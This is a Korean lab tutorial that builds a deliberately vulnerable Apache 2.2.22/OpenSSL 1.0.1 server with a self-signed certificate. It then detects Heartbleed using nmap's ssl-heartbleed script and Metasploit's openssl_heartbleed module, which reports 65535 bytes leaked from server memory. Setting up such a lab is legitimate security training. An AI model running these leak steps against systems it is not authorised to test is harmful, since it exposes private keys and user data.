환경
운영체제 | Ubuntu 22.04 |
Apache2 | 2.2.22 |
openssl | 1.0.1 |
구버전 레포지토리 등록
sudo vi /etc/apt/sources.list
Bash
복사
아래 내용 추가
deb [trusted=yes] http://old-releases.ubuntu.com/ubuntu/ precise main universe
Bash
복사
업데이트 진행
sudo apt update
Bash
복사
다운로드 가능한 패키지 버전 조회
apt-cache policy <패키지명>
Bash
복사
Apache2 다운로드 및 설정
패키지 다운로드
sudo apt install -y apache2=2.2.22-1ubuntu1
Bash
복사
SSL 모듈 활성화
sudo a2enmod ssl
systemctl restart apache2
Bash
복사
자체 서명 인증서, 키 설정
폴더 생성
mkdir /etc/apache2/ssl
cd /etc/apache2/ssl
Bash
복사
자체서명된 인증서, 키 생성
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/apache2/ssl/webserver.key -out /etc/apache2/ssl/webserver.crt
Bash
복사
•
아래 설정으로 진행 (예시)
Country Name (2 letter code) [AU]:KR
State or Province Name (full name) [Some-State]:Seoul
Locality Name (eg, city) []:Seoul
Organization Name (eg, company) [Internet Widgits Pty Ltd]:test
Organizational Unit Name (eg, section) []:IT
Common Name (e.g. server FQDN or YOUR name) []:ubuntu1.example.com
Email Address []:
Bash
복사
생성된 인증서, 키 확인
ls -l /etc/apache2/ssl/
Bash
복사
Apache 기본 SSL 설정 구성
vi /etc/apache2/sites-available/default-ssl
Bash
복사
•
Servername 추가
<서버 IP>:443
Bash
복사
•
SSL 인증서와 개인 키 파일 경로 수정
SSLCertificateFile /etc/apache2/ssl/webserver.crt
SSLCertificateKeyFile /etc/apache2/ssl/webserver.key
Bash
복사
사용중인 SSl 프로토콜 확인
하트블리드는 SSLv3, TLS 1.0, 1.1, 1.2 에서 발생
grep -r 'SSLProtocol' /etc/apache2/
Bash
복사
SSL 사이트 설정 활성화
a2ensite default-ssl
systemctl restart apache2
Bash
복사
사이트 확인
브라우저에서 https 로 접근
자체 서명 인증서, 키로 SSL 통신이 정상적으로 이루어지고 있음을 확인
취약점 스캔
NMAP
•
칼리 리눅스에서 진행
nmap -sV --script=ssl-heartbleed <서버 IP>
Bash
복사
•
결과
하트블리드 취약점 확인
Metasploit
msfconsole
Bash
복사
하트블리드 취약잠 탐지 모듈 실행
use auxiliary/scanner/ssl/openssl_heartbleed
Bash
복사
•
서버 IP 설정
set RHOST <서버 IP>
Bash
복사
•
옵션 확인
show options
Bash
복사
하트블리트 취약점 탐지 실행
run
Bash
복사
•
결과
Heartbleed 취약점을 이용해 서버에서 65535 바이트의 데이터가 유출됨 확인